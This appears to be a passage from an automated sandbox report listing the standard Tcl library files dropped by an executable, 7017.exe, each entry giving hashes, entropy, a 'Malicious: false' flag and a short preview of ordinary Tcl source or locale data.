C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\encoding\shiftjis.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41862
Entropy (8bit):	3.4936148161949747
Encrypted:	false
SSDEEP:	768:/huW1PJnT9TOZRaQiPCLUKr7KBi9FrOLdtY:/ZPV9KoqTxFGXY
MD5:	8FBCB1BBC4B59D6854A8FCBF25853E0D
SHA1:	2D56965B24125D999D1020C7C347B813A972647C
SHA-256:	7502587D52E7810228F2ECB45AC4319EA0F5C008B7AC91053B920010DC6DDF94
SHA-512:	128E66F384F9EA8F3E7FBEAD0D3AA1D45570EB3669172269A89AE3B522ED44E4572C6A5C9281B7E219579041D14FF0E76777A36E3902BFA1B58DC3DA729FA075
Malicious:	false
Preview:	# Encoding file: shiftjis, multi-byte.M.003F 0 40.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080000000000000000000850086008700000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000FF61FF62FF63FF64FF65FF66FF67FF68FF69FF6AFF6BFF6CFF6DFF6EFF6F.FF70FF71FF72FF73FF74FF75FF76FF77FF78FF79FF7AFF7BFF7CFF7DFF7EFF7F.FF80FF81FF82FF83FF84FF85FF86FF87FF88FF89FF8AFF8BFF8CFF8DFF8EFF8F.FF90FF91FF92FF93FF94FF95FF96FF97FF98FF99FF9AFF9BFF9CFF9DFF9EFF9F.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\encoding\symbol.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.675943323650254
Encrypted:	false
SSDEEP:	24:Sd0UmJvRjuLoVoMQVoRmSdsTAsSnP9Us+yw4VivXObCXv:afmOEVoMQVoRmosTHSP9U/ydmXwCXv
MD5:	1B612907F31C11858983AF8C009976D6
SHA1:	F0C014B6D67FC0DC1D1BBC5F052F0C8B1C63D8BF
SHA-256:	73FD2B5E14309D8C036D334F137B9EDF1F7B32DBD45491CF93184818582D0671
SHA-512:	82D4A8F9C63F50E5D77DAD979D3A59729CD2A504E7159AE3A908B7D66DC02090DABD79B6A6DC7B998C32C383F804AACABC564A5617085E02204ADF0B13B13E5B
Malicious:	false
Preview:	# Encoding file: symbol, single-byte.S.003F 1 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002122000023220300250026220D002800292217002B002C2212002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.22450391039203A70394039503A603930397039903D1039A039B039C039D039F.03A0039803A103A303A403A503C203A9039E03A80396005B2234005D22A5005F.F8E503B103B203C703B403B503C603B303B703B903D503BA03BB03BC03BD03BF.03C003B803C103C303C403C503D603C903BE03C803B6007B007C007D223C007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.000003D2203222642044221E0192266326662665266021942190219121922193.00B000B12033226500D7221D2202202200F72260226122482026F8E6F8E721B5.21352111211C21182297229522052229222A2283228722842282228622082209.2220220700AE00A92122220F221A22C500AC2227222821D421D021D121D221D3.22C42329F8E8F8E9F8EA2211F8EBF8ECF8EDF8E

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\encoding\tis-620.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	2.9763240350841884
Encrypted:	false
SSDEEP:	24:ZlTUmJvRju3ShVbsZiAMiZyb7PNHmED43U/TW5dF:PgmOEVIwAMiw/PJ43UKF
MD5:	7273E998972C9EFB2CEB2D5CD553DE49
SHA1:	4AA47E6DF964366FA3C29A0313C0DAE0FA63A78F
SHA-256:	330517F72738834ECBF4B6FA579F725B4B33AD9F4669975E727B40DF185751FF
SHA-512:	56BF15C123083D3F04FE0C506EE8ECE4C08C17754F0CAAD3566F1469728CFD2F0A487023DCB26432240EB09F064944D3EF08175979F5D1D2BF734E7C7C609055
Malicious:	false
Preview:	# Encoding file: tis-620, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E0000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00000E010E020E030E040E050E060E070E080E090E0A0E0B0E0C0E0D0E0E0E0F.0E100E110E120E130E140E150E160E170E180E190E1A0E1B0E1C0E1D0E1E0E1F.0E200E210E220E230E240E250E260E270E280E290E2A0E2B0E2C0E2D0E2E0E2F.0E300E310E320E330E340E350E360E370E380E390E3A00000000000000000E3F.0E400E410E420E430E440E450E460E470E480E

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\history.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7900
Entropy (8bit):	4.806010360595623
Encrypted:	false
SSDEEP:	192:DXzSaH9ox7j4LaQMpsyGb0XEACrHpff6Jy8qNy6QRIt5QYTLa3QAQYplavQqQIL0:DpH9m7DPnQdg+Q
MD5:	E8FD468CCD2EE620544FE204BDE2A59D
SHA1:	2E26B7977D900EAA7D4908D5113803DF6F34FC59
SHA-256:	9B6E400EB85440EC64AB66B4AC111546585740C9CA61FD156400D7153CBAD9F4
SHA-512:	13A40A4BDE32F163CB789C69BD260ABF41C6771E7AC50FB122C727B9F39BE5D73E4D8BAE040DDDD94C5F2B901AB7C32D9C6BB62310121CA8DB4ADE25CB9AA4B0
Malicious:	false
Preview:	# history.tcl --.#.# Implementation of the history command..#.# Copyright (c) 1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES..#...# The tcl::history array holds the history list and some additional.# bookkeeping variables..#.# nextid.the index used for the next history list item..# keep..the max size of the history list.# oldest.the index of the oldest item in the history...namespace eval ::tcl {. variable history. if {![info exists history]} {..array set history {.. nextid.0.. keep.20.. oldest.-20..}. }.. namespace ensemble create -command ::tcl::history -map {..add.::tcl::HistAdd..change.::tcl::HistChange..clear.::tcl::HistClear..event.::tcl::HistEvent..info.::tcl::HistInfo..keep.::tcl::HistKeep..nextid.::tcl::HistNextID..redo.::tcl::HistRedo. }.}...# history --.#.#.This is the main history command. See the man page for its interface..#.This does s

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\http1.0\http.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9689
Entropy (8bit):	4.754346192989986
Encrypted:	false
SSDEEP:	192:kQkH8VqqNg5PPx7GRpoMJesrCL2coOG0vARQVSDR6VrKj7vWQYQN81QvLbDdv:pVqeglpu6toO3ACUnvv
MD5:	1DA12C32E7E4C040BD9AB2BCBAC5445B
SHA1:	8E8659BEF065AF9430509BBDD5FB4CFE0EF14153
SHA-256:	ACBFF9B5EF75790920B95023156FAD80B18AFF8CAFC4A6DC03893F9388E053A2
SHA-512:	A269C76C1684EC1A2E2AA611ABB459AA3BE2973FD456737BC8C8D2E5C8BC53A26BBC1488062281CA87E38D548281166C4D775C50C695AEC9741FE911BB431EAD
Malicious:	false
Preview:	# http.tcl.# Client-side HTTP for GET, POST, and HEAD commands..# These routines can be used in untrusted code that uses the Safesock.# security policy..# These procedures use a callback interface to avoid using vwait,.# which is not defined in the safe base..#.# See the http.n man page for documentation..package provide http 1.0..array set http {. -accept /. -proxyhost {}. -proxyport {}. -useragent {Tcl http client package 1.0}. -proxyfilter httpProxyRequired.}.proc http_config {args} {. global http. set options [lsort [array names http -*]]. set usage [join $options ", "]. if {[llength $args] == 0} {..set result {}..foreach name $options {.. lappend result $name $http($name)..}..return $result. }. regsub -all -- - $options {} options. set pat ^-([join $options \|])$. if {[llength $args] == 1} {..set flag [lindex $args 0]..if {[regexp -- $pat $flag]} {.. return $http($flag)..} else {.. return -code error "Unknown option $flag, must be:

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\http1.0\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	735
Entropy (8bit):	4.669068874824871
Encrypted:	false
SSDEEP:	12:jHxxYRs+opS42wyGlTajUA43KXks4L57+HkuRz20JSv6C3l5kl:bbYRshS42wyGlTah9XkbL5i1z2jxXkl
MD5:	10EC7CD64CA949099C818646B6FAE31C
SHA1:	6001A58A0701DFF225E2510A4AAEE6489A537657
SHA-256:	420C4B3088C9DACD21BC348011CAC61D7CB283B9BEE78AE72EED764AB094651C
SHA-512:	34A0ACB689E430ED2903D8A903D531A3D734CB37733EF13C5D243CB9F59C020A3856AAD98726E10AD7F4D67619A3AF1018F6C3E53A6E073E39BD31D088EFD4AF
Malicious:	false
Preview:	# Tcl package index file, version 1.0.# This file is generated by the "pkg_mkIndex" command.# and sourced either when an application starts up or.# by a "package unknown" script. It invokes the.# "package ifneeded" command to set up package-related.# information so that packages will be loaded automatically.# in response to "package require" commands. When this.# script is sourced, the variable $dir must contain the.# full path name of this file's directory...package ifneeded http 1.0 [list tclPkgSetup $dir http 1.0 {{http.tcl source {httpCopyDone httpCopyStart httpEof httpEvent httpFinish httpMapReply httpProxyRequired http_code http_config http_data http_formatQuery http_get http_reset http_size http_status http_wait}}}].

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\init.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	24432
Entropy (8bit):	4.824619671192163
Encrypted:	false
SSDEEP:	384:U8Oh2gWD8Ud4zaJqacMQsRNLKx32LgWMOFaBBf6/9IrO1zWq8oXbjdEfdQxAp12Q:2OD8Ud4WJqJfcMOFt/9IrOBWq8oXwQxM
MD5:	B900811A252BE90C693E5E7AE365869D
SHA1:	345752C46F7E8E67DADEF7F6FD514BED4B708FC5
SHA-256:	BC492B19308BC011CFCD321F1E6E65E6239D4EEB620CC02F7E9BF89002511D4A
SHA-512:	36B8CDBA61B9222F65B055C0C513801F3278A3851912215658BCF0CE10F80197C1F12A5CA3054D8604DA005CE08DA8DCD303B8544706B642140A49C4377DD6CE
Malicious:	false
Preview:	# init.tcl --.#.# Default system startup file for Tcl-based applications. Defines.# "unknown" procedure and auto-load facilities..#.# Copyright (c) 1991-1993 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 1998-1999 Scriptics Corporation..# Copyright (c) 2004 by Kevin B. Kenny. All rights reserved..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# This test intentionally written in pre-7.5 Tcl.if {[info commands package] == ""} {. error "version mismatch: library\nscripts expect Tcl version 7.5b1 or later but the loaded version is\nonly [info patchlevel]".}.package require -exact Tcl 8.6.9..# Compute the auto path to use in this interpreter..# The values on the path come from several locations:.#.# The environment variable TCLLIBPATH.#.# tcl_library, which is the directory containing this init.tcl script..# [tclInit] (Tcl_Init()) sea

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\af.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	989
Entropy (8bit):	4.015702624322247
Encrypted:	false
SSDEEP:	12:4EnLzu8wcm2NkKcmtH3WhvdfjESBToOqepFHvFgdF69dixmem1OMVjeza6O6c:4azu8DtkN3bbJ75pF9gG3U2e+gc
MD5:	3A3B4D3B137E7270105DC7B359A2E5C2
SHA1:	2089B3948F11EF8CE4BD3D57167715ADE65875E9
SHA-256:	2981965BD23A93A09EB5B4A334ACB15D00645D645C596A5ECADB88BFA0B6A908
SHA-512:	044602E7228D2CB3D0A260ADFD0D3A1F7CAB7EFE5DD00C7519EAF00A395A48A46EEFDB3DE81902D420D009B137030BC98FF32AD97E9C3713F0990FE6C09887A2
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset af DAYS_OF_WEEK_ABBREV [list \. "So"\. "Ma"\. "Di"\. "Wo"\. "Do"\. "Vr"\. "Sa"]. ::msgcat::mcset af DAYS_OF_WEEK_FULL [list \. "Sondag"\. "Maandag"\. "Dinsdag"\. "Woensdag"\. "Donderdag"\. "Vrydag"\. "Saterdag"]. ::msgcat::mcset af MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Aug"\. "Sep"\. "Okt"\. "Nov"\. "Des"\. ""]. ::msgcat::mcset af MONTHS_FULL [list \. "Januarie"\. "Februarie"\. "Maart"\. "April"\. "Mei"\. "Junie"\. "Julie"\. "Augustus"\. "September"\. "Oktober"\. "November"\. "Desember"\. ""]. ::msgcat::mcset af AM "VM". ::msgcat::mcset af PM "NM".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\af_za.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.879621059534584
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmouFygvNLouFqF3v6aZouFy9+3vR6HK:4EnLzu8YAgvNTYF3v6axAI3voq
MD5:	27C356DF1BED4B22DFA55835115BE082
SHA1:	677394DF81CDBAF3D3E735F4977153BB5C81B1A6
SHA-256:	3C2F5F631ED3603EF0D5BCB31C51B2353C5C27839C806A036F3B7007AF7F3DE8
SHA-512:	EE88348C103382F91F684A09F594177119960F87E58C5E4FC718C698AD436E332B74B8ED18DF8563F736515A3A6442C608EBCBE6D1BD13B3E3664E1AA3851076
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset af_ZA DATE_FORMAT "%d %B %Y". ::msgcat::mcset af_ZA TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset af_ZA DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ar.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1964
Entropy (8bit):	4.417722751563065
Encrypted:	false
SSDEEP:	24:4azu8fnkFewadQxvbkMPm/FiUoAwonC9UFsvSnvMq:46dw/L+C9cKSvF
MD5:	0A88A6BFF15A6DABAAE48A78D01CFAF1
SHA1:	90834BCBDA9B9317B92786EC89E20DCF1F2DBD22
SHA-256:	BF984EC7CF619E700FE7E00381FF58ABE9BD2F4B3DD622EB2EDACCC5E6681050
SHA-512:	85CB96321BB6FB3119D69540B9E76916F0C5F534BA01382E73F8F9A0EE67A7F1BFC39947335688F2C8F3DB9B51D969D8EA7C7104A035C0E949E8E009D4656288
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar DAYS_OF_WEEK_ABBREV [list \. "\u062d"\. "\u0646"\. "\u062b"\. "\u0631"\. "\u062e"\. "\u062c"\. "\u0633"]. ::msgcat::mcset ar DAYS_OF_WEEK_FULL [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar MONTHS_ABBREV [list \. "\u064a\u0646\u0627"\. "\u0641\u0628\u0631"\. "\u0645\u0627\u0631"\. "\u0623\u0628\u0631"\. "\u0645\u0627\u064a"\. "\u064a\u0648\u0646"\. "\u064a\u0648\u0644"\. "\u0623\u063a\u0633"\. "\u0633\u0628\u062a"\. "\u0623\u0643\u062a"\

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ar_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.825452591398057
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoKNvf/NLoKU3v6xH5oKNo+3vfXM6PYv:4EnLzu8yvf/Nq3v6vF3vfc6q
MD5:	EEB42BA91CC7EF4F89A8C1831ABE7B03
SHA1:	74D12B4CBCDF63FDF00E589D8A604A5C52C393EF
SHA-256:	29A70EAC43B1F3AA189D8AE4D92658E07783965BAE417FB66EE5F69CFCB564F3
SHA-512:	6CCB2F62986CE1CF3CE78538041A0E4AAF717496F965D73014A13E9B05093EB43185C3C14212DC052562F3F369AB6985485C8C93D1DFC60CF9B8DABEA7CDF434
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_IN DATE_FORMAT "%A %d %B %Y". ::msgcat::mcset ar_IN TIME_FORMAT_12 "%I:%M:%S %z". ::msgcat::mcset ar_IN DATE_TIME_FORMAT "%A %d %B %Y %I:%M:%S %z %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ar_jo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.023830561129656
Encrypted:	false
SSDEEP:	24:4azu8J5Fe6k+wR+9Gb+Oa+UcP+wR+9Gb+Oa+UD:46I6CNbtdNbQ
MD5:	4338BD4F064A6CDC5BFED2D90B55D4E8
SHA1:	709717BB1F62A71E94D61056A70660C6A03B48AE
SHA-256:	78116E7E706C7D1E3E7446094709819FB39A50C2A2302F92D6A498E06ED4A31B
SHA-512:	C63A535AD19CBEF5EFC33AC5A453B1C503A59C6CE71A4CABF8083BC516DF0F3F14D3D4F309D33EDF2EC5E79DB00ED1F7D56FD21068F09F178BB2B191603BAC25
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_JO DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_JO MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ar_lb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.020656526954981
Encrypted:	false
SSDEEP:	24:4azu865Fehk+wR+9Gb+Oa+UXP+wR+9Gb+Oa+UD:46nhCNbadNbQ
MD5:	3789E03CF926D4F12AFD30FC7229B78D
SHA1:	AEF38AAB736E5434295C72C14F38033AAFE6EF15
SHA-256:	7C970EFEB55C53758143DF42CC452A3632F805487CA69DB57E37C1F478A7571B
SHA-512:	C9172600703337EDB2E36D7470A3AED96CCC763D7163067CB19E7B097BB7877522758C3109E31D5D72F486DD50BF510DDBA50EDD248B899FA0A2EEF09FCBF903
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_LB DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_LB MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ar_sy.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.02203966019266
Encrypted:	false
SSDEEP:	24:4azu8k5Fezk+wR+9Gb+Oa+U5P+wRa9Gb+Oa+UD:46ZzCNb0d5bQ
MD5:	EC736BFD4355D842E5BE217A7183D950
SHA1:	C6B83C02F5D4B14064D937AFD8C6A92BA9AE9EFB
SHA-256:	AEF17B94A0DB878E2F0FB49D982057C5B663289E3A8E0E2B195DCEC37E8555B1
SHA-512:	68BB7851469C24003A9D74FC7FE3599A2E95EE3803014016DDEBF4C5785F49EDBADA69CD4103F2D3B6CE91E9A32CC432DBDFEC2AED0557E5B6B13AED489A1EDA
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_SY DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_SY MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	4.215818273236158
Encrypted:	false
SSDEEP:	48:46dJRQPQ86AK0xQuEQS3oQsDptuCrQICZmQ8ZVDtN1QFqQLtCSjZMpktvp:hdP6HIZoFnl1Rgx
MD5:	1A3ABFBC61EF757B45FF841C197BB6C3
SHA1:	74D623DAB6238D05C18DDE57FC956D84974FC2D4
SHA-256:	D790E54217A4BF9A7E1DCB4F3399B5861728918E93CD3F00B63F1349BDB71C57
SHA-512:	154D053410AA0F7817197B7EE1E8AE839BA525C7660620581F228477B1F5B972FE95A4E493BB50365D0B63B0115036DDE54A98450CA4E8048AF5D0AF092BADE5
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset be DAYS_OF_WEEK_ABBREV [list \. "\u043d\u0434"\. "\u043f\u043d"\. "\u0430\u0442"\. "\u0441\u0440"\. "\u0447\u0446"\. "\u043f\u0442"\. "\u0441\u0431"]. ::msgcat::mcset be DAYS_OF_WEEK_FULL [list \. "\u043d\u044f\u0434\u0437\u0435\u043b\u044f"\. "\u043f\u0430\u043d\u044f\u0434\u0437\u0435\u043b\u0430\u043a"\. "\u0430\u045e\u0442\u043e\u0440\u0430\u043a"\. "\u0441\u0435\u0440\u0430\u0434\u0430"\. "\u0447\u0430\u0446\u0432\u0435\u0440"\. "\u043f\u044f\u0442\u043d\u0456\u0446\u0430"\. "\u0441\u0443\u0431\u043e\u0442\u0430"]. ::msgcat::mcset be MONTHS_ABBREV [list \. "\u0441\u0442\u0434"\. "\u043b\u044e\u0442"\. "\u0441\u043a\u0432"\. "\u043a\u0440\u0441"\. "\u043c\u0430\u0439"\. "\u0447\u0440\u0432"\. "\u043b\u043f\u043d"\. "\u0436\u043d\u

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\bg.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	4.363233187157474
Encrypted:	false
SSDEEP:	48:46scAXuQfuQVoQAWN5EPIKfD8WQjQ3QgQaQLSqQsQGtQWCQMmt1f:hD/zQaPIKfTSiF3KVfVCqp
MD5:	11FA3BA30A0EE6A7B2B9D67B439C240D
SHA1:	EC5557A16A0293ABF4AA8E5FD50940B60A8A36A6
SHA-256:	E737D8DC724AA3B9EC07165C13E8628C6A8AC1E80345E10DC77E1FC62A6D86F1
SHA-512:	B776E7C98FB819436C61665206EE0A2644AA4952D739FF7CC58EAFBD549BD1D26028DE8E11B8533814102B31FC3884F95890971F547804BCAA4530E35BDD5CFD
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset bg DAYS_OF_WEEK_ABBREV [list \. "\u041d\u0434"\. "\u041f\u043d"\. "\u0412\u0442"\. "\u0421\u0440"\. "\u0427\u0442"\. "\u041f\u0442"\. "\u0421\u0431"]. ::msgcat::mcset bg DAYS_OF_WEEK_FULL [list \. "\u041d\u0435\u0434\u0435\u043b\u044f"\. "\u041f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\. "\u0412\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0421\u0440\u044f\u0434\u0430"\. "\u0427\u0435\u0442\u0432\u044a\u0440\u0442\u044a\u043a"\. "\u041f\u0435\u0442\u044a\u043a"\. "\u0421\u044a\u0431\u043e\u0442\u0430"]. ::msgcat::mcset bg MONTHS_ABBREV [list \. "I"\. "II"\. "III"\. "IV"\. "V"\. "VI"\. "VII"\. "VIII"\. "IX"\. "X"\. "XI"\. "XII"\. ""]. ::msgcat::mcset bg MONTHS_FULL [list \. "\u042

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\bn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	4.04505151160981
Encrypted:	false
SSDEEP:	24:4azu8adWa9tUEVcqVc5VcaUTVcHVEVc+7VclEVcNGVcn0VcMG/0VcMjVcMK7YXs+:46C07LetHigetH1YES
MD5:	B387D4A2AB661112F2ABF57CEDAA24A5
SHA1:	80DB233687A9314600317AD39C01466C642F3C4C
SHA-256:	297D4D7CAE6E99DB3CA6EE793519512BFF65013CF261CF90DED4D28D3D4F826F
SHA-512:	450BB56198AAAB2EEFCD4E24C29DD79D71D2EF7E8D066F3B58F9C5D831F960AFB78C46ECE2DB32EF81454BCCC80C730E36A610DC9BAF06757E0757B421BACB19
Malicious:	false
